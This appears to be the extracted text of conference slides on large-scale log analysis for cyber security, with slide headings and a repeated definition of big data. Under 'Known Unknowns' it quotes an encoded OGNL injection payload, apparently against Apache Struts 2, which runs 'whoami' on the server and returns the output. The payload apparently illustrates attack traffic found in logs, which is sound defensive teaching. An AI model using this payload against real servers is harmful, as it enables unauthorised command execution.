big data and cyber security

Large-scale Log Analysis

David Stubley, CEO 7 Elements

Intro

Obligatory Definition"Big data is a term for data sets that are so large or complex that traditional data processing applications are inadequate."

https://en.wikipedia.org/wiki/Big_data

Known Unknownsredirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'whoami'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D=

Size Matters!

"Big data is a term for data sets that are so large or complex that traditional data processing applications are inadequate."

A New Hope?

"Big data is a term for data sets that are so large or complex that traditional data processing applications are inadequate."

The Result?

Word of Caution

HAL 9000: "I'm sorry Dave, I'm afraid I can't do that"

Questions

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